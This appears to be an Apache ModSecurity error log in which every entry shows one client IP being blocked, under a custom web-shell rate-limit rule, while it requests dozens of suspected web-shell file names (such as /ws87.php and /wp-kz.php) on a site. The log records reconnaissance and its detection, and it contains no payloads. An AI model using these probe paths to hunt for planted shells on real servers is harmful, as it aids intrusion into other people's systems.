[Tue Apr 14 00:52:41.996468 2026] [:error] [pid 59914:tid 59959] [client 158.158.43.6:4373] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws87.php"] [unique_id "ad0fWeq0YMmB3OWbbUk4HQAAAE8"]
[Tue Apr 14 00:52:51.405672 2026] [:error] [pid 59914:tid 59967] [client 158.158.43.6:34117] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/layout.php"] [unique_id "ad0fY-q0YMmB3OWbbUk4KAAAAFc"]
[Tue Apr 14 00:52:56.244385 2026] [:error] [pid 59915:tid 59976] [client 158.158.43.6:34136] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/layout.php"] [unique_id "ad0faIeTNdEemByf99gedgAAAIU"]
[Tue Apr 14 00:52:57.950336 2026] [:error] [pid 60317:tid 60354] [client 158.158.43.6:42459] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/layout.php"] [unique_id "ad0fabBo7Bc8I7P_P-9rtgAAAM4"]
[Tue Apr 14 00:52:59.140111 2026] [:error] [pid 59914:tid 59963] [client 158.158.43.6:38160] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/layout.php"] [unique_id "ad0fa-q0YMmB3OWbbUk4NQAAAFM"]
[Tue Apr 14 00:53:01.961273 2026] [:error] [pid 59914:tid 59951] [client 158.158.43.6:4392] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r2.php"] [unique_id "ad0fbeq0YMmB3OWbbUk4PgAAAEc"]
[Tue Apr 14 00:53:03.442740 2026] [:error] [pid 59914:tid 59966] [client 158.158.43.6:38146] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r2.php"] [unique_id "ad0fb-q0YMmB3OWbbUk4QgAAAFY"]
[Tue Apr 14 00:53:04.548837 2026] [:error] [pid 59915:tid 59990] [client 158.158.43.6:37690] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r2.php"] [unique_id "ad0fcIeTNdEemByf99gehwAAAJM"]
[Tue Apr 14 00:53:07.302956 2026] [:error] [pid 59913:tid 59932] [client 158.158.43.6:38779] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r2.php"] [unique_id "ad0fc65XvQ9C-gZtr2yZ7QAAAA8"]
[Tue Apr 14 00:53:09.491700 2026] [:error] [pid 59914:tid 59953] [client 158.158.43.6:4587] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah25.php"] [unique_id "ad0fdeq0YMmB3OWbbUk4TAAAAEk"]
[Tue Apr 14 00:53:11.897104 2026] [:error] [pid 60317:tid 60359] [client 158.158.43.6:4132] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah25.php"] [unique_id "ad0fd7Bo7Bc8I7P_P-9r2AAAANM"]
[Tue Apr 14 00:53:13.512318 2026] [:error] [pid 60317:tid 60348] [client 158.158.43.6:4240] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah25.php"] [unique_id "ad0febBo7Bc8I7P_P-9r5QAAAMg"]
[Tue Apr 14 00:53:14.964172 2026] [:error] [pid 59915:tid 59987] [client 158.158.43.6:4508] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah25.php"] [unique_id "ad0feoeTNdEemByf99genAAAAJA"]
[Tue Apr 14 00:53:15.816684 2026] [:error] [pid 60317:tid 60362] [client 158.158.43.6:4538] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/006.php"] [unique_id "ad0fe7Bo7Bc8I7P_P-9r9gAAANY"]
[Tue Apr 14 00:53:17.184594 2026] [:error] [pid 59915:tid 59986] [client 158.158.43.6:4103] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/006.php"] [unique_id "ad0ffYeTNdEemByf99gepAAAAI8"]
[Tue Apr 14 00:53:35.830959 2026] [:error] [pid 59915:tid 59993] [client 158.158.43.6:58956] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xozx.php"] [unique_id "ad0fj4eTNdEemByf99ge0wAAAJY"]
[Tue Apr 14 00:53:36.904751 2026] [:error] [pid 60317:tid 60349] [client 158.158.43.6:58981] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xozx.php"] [unique_id "ad0fkLBo7Bc8I7P_P-9sSgAAAMk"]
[Tue Apr 14 00:53:39.339912 2026] [:error] [pid 60317:tid 60364] [client 158.158.43.6:4247] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xozx.php"] [unique_id "ad0fk7Bo7Bc8I7P_P-9sVAAAANg"]
[Tue Apr 14 00:53:40.444792 2026] [:error] [pid 59915:tid 59983] [client 158.158.43.6:4157] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xozx.php"] [unique_id "ad0flIeTNdEemByf99ge3AAAAIw"]
[Tue Apr 14 00:53:42.604730 2026] [:error] [pid 59915:tid 59994] [client 158.158.43.6:4374] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1100.php"] [unique_id "ad0floeTNdEemByf99ge4gAAAJc"]
[Tue Apr 14 00:53:44.721090 2026] [:error] [pid 59913:tid 59929] [client 158.158.43.6:4514] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1100.php"] [unique_id "ad0fmK5XvQ9C-gZtr2yaAgAAAAw"]
[Tue Apr 14 00:53:48.076631 2026] [:error] [pid 60317:tid 60350] [client 158.158.43.6:4101] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1100.php"] [unique_id "ad0fnLBo7Bc8I7P_P-9sawAAAMo"]
[Tue Apr 14 00:53:48.844766 2026] [:error] [pid 60317:tid 60363] [client 158.158.43.6:59395] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1100.php"] [unique_id "ad0fnLBo7Bc8I7P_P-9sbwAAANc"]
[Tue Apr 14 00:53:50.201546 2026] [:error] [pid 60317:tid 60354] [client 158.158.43.6:59445] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "ad0fnrBo7Bc8I7P_P-9scwAAAM4"]
[Tue Apr 14 00:53:51.654518 2026] [:error] [pid 59913:tid 59921] [client 158.158.43.6:4496] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "ad0fn65XvQ9C-gZtr2yaBgAAAAQ"]
[Tue Apr 14 00:53:53.654337 2026] [:error] [pid 59915:tid 59984] [client 158.158.43.6:59429] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "ad0foYeTNdEemByf99ge7QAAAI0"]
[Tue Apr 14 00:53:55.970181 2026] [:error] [pid 59914:tid 59966] [client 158.158.43.6:59412] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "ad0fo-q0YMmB3OWbbUk4bwAAAFY"]
[Tue Apr 14 00:53:57.977953 2026] [:error] [pid 59915:tid 59986] [client 158.158.43.6:58953] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "ad0fpYeTNdEemByf99ge8QAAAI8"]
[Tue Apr 14 00:53:58.974345 2026] [:error] [pid 60317:tid 60347] [client 158.158.43.6:4537] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "ad0fprBo7Bc8I7P_P-9sjQAAAMc"]
[Tue Apr 14 00:54:00.097900 2026] [:error] [pid 59914:tid 59947] [client 158.158.43.6:4498] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "ad0fqOq0YMmB3OWbbUk4cQAAAEM"]
[Tue Apr 14 00:54:03.717671 2026] [:error] [pid 59914:tid 59955] [client 158.158.43.6:4492] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "ad0fq-q0YMmB3OWbbUk4eAAAAEs"]
[Tue Apr 14 00:54:05.982854 2026] [:error] [pid 59914:tid 59951] [client 158.158.43.6:4236] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kz.php"] [unique_id "ad0freq0YMmB3OWbbUk4egAAAEc"]
[Tue Apr 14 00:54:07.911190 2026] [:error] [pid 59914:tid 59945] [client 158.158.43.6:4599] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kz.php"] [unique_id "ad0fr-q0YMmB3OWbbUk4fgAAAEE"]
[Tue Apr 14 00:54:09.770216 2026] [:error] [pid 59913:tid 59925] [client 158.158.43.6:59404] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kz.php"] [unique_id "ad0fsa5XvQ9C-gZtr2yaCwAAAAg"]
[Tue Apr 14 00:54:11.025805 2026] [:error] [pid 59915:tid 59981] [client 158.158.43.6:58969] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kz.php"] [unique_id "ad0fs4eTNdEemByf99ge-wAAAIo"]
[Tue Apr 14 00:54:13.967587 2026] [:error] [pid 60317:tid 60357] [client 158.158.43.6:59440] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-lo.php"] [unique_id "ad0ftbBo7Bc8I7P_P-9sogAAANE"]
[Tue Apr 14 00:54:19.321558 2026] [:error] [pid 59915:tid 59989] [client 158.158.43.6:59045] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-lo.php"] [unique_id "ad0fu4eTNdEemByf99gfAwAAAJI"]
[Tue Apr 14 00:54:21.737143 2026] [:error] [pid 60317:tid 60352] [client 158.158.43.6:59411] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-lo.php"] [unique_id "ad0fvbBo7Bc8I7P_P-9sqwAAAMw"]
[Tue Apr 14 00:54:22.372147 2026] [:error] [pid 60317:tid 60364] [client 158.158.43.6:58949] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-lo.php"] [unique_id "ad0fvrBo7Bc8I7P_P-9srAAAANg"]
[Tue Apr 14 00:54:25.057495 2026] [:error] [pid 60317:tid 60361] [client 158.158.43.6:59381] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fone1.php"] [unique_id "ad0fwbBo7Bc8I7P_P-9stAAAANU"]
[Tue Apr 14 00:54:27.047869 2026] [:error] [pid 60317:tid 60344] [client 158.158.43.6:59353] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fone1.php"] [unique_id "ad0fw7Bo7Bc8I7P_P-9suAAAAMQ"]
[Tue Apr 14 00:54:29.120597 2026] [:error] [pid 59913:tid 59934] [client 158.158.43.6:4560] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fone1.php"] [unique_id "ad0fxa5XvQ9C-gZtr2yaJwAAABE"]
[Tue Apr 14 00:54:30.020541 2026] [:error] [pid 59913:tid 59939] [client 158.158.43.6:59399] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fone1.php"] [unique_id "ad0fxq5XvQ9C-gZtr2yaKwAAABY"]
[Tue Apr 14 00:54:56.279229 2026] [:error] [pid 60317:tid 60358] [client 158.158.43.6:60014] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xy.php"] [unique_id "ad0f4LBo7Bc8I7P_P-9tTAAAANI"]
[Tue Apr 14 00:54:58.396789 2026] [:error] [pid 60317:tid 60364] [client 158.158.43.6:60088] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xy.php"] [unique_id "ad0f4rBo7Bc8I7P_P-9tVgAAANg"]
[Tue Apr 14 00:55:00.947704 2026] [:error] [pid 60317:tid 60344] [client 158.158.43.6:59383] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xy.php"] [unique_id "ad0f5LBo7Bc8I7P_P-9tWgAAAMQ"]
[Tue Apr 14 00:55:02.748190 2026] [:error] [pid 60317:tid 60358] [client 158.158.43.6:59052] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xy.php"] [unique_id "ad0f5rBo7Bc8I7P_P-9tXgAAANI"]
[Tue Apr 14 00:55:03.884995 2026] [:error] [pid 60317:tid 60346] [client 158.158.43.6:59004] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/global.php"] [unique_id "ad0f57Bo7Bc8I7P_P-9tYQAAAMY"]
[Tue Apr 14 00:55:05.572839 2026] [:error] [pid 60317:tid 60353] [client 158.158.43.6:59361] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/global.php"] [unique_id "ad0f6bBo7Bc8I7P_P-9tZgAAAM0"]
[Tue Apr 14 00:55:08.595835 2026] [:error] [pid 59913:tid 59937] [client 158.158.43.6:59989] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/global.php"] [unique_id "ad0f7K5XvQ9C-gZtr2yaWwAAABQ"]
[Tue Apr 14 00:55:17.275069 2026] [:error] [pid 59914:tid 59958] [client 158.158.43.6:58987] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/global.php"] [unique_id "ad0f9eq0YMmB3OWbbUk47wAAAE4"]
[Tue Apr 14 00:55:30.868084 2026] [:error] [pid 59914:tid 59958] [client 158.158.43.6:59400] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "ad0gAuq0YMmB3OWbbUk5AAAAAE4"]
[Tue Apr 14 00:55:33.650695 2026] [:error] [pid 60317:tid 60347] [client 158.158.43.6:60658] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "ad0gBbBo7Bc8I7P_P-9tjgAAAMc"]
[Tue Apr 14 00:55:34.582831 2026] [:error] [pid 59913:tid 59918] [client 158.158.43.6:42375] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "ad0gBq5XvQ9C-gZtr2yaiwAAAAE"]
[Tue Apr 14 00:55:46.503269 2026] [:error] [pid 60317:tid 60352] [client 158.158.43.6:61378] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "ad0gErBo7Bc8I7P_P-9txgAAAMw"]
[Tue Apr 14 00:55:47.539295 2026] [:error] [pid 60317:tid 60359] [client 158.158.43.6:59451] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "ad0gE7Bo7Bc8I7P_P-9txwAAANM"]
[Tue Apr 14 00:55:48.717062 2026] [:error] [pid 59915:tid 59986] [client 158.158.43.6:61437] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ortasekerli1.php"] [unique_id "ad0gFIeTNdEemByf99gfnQAAAI8"]
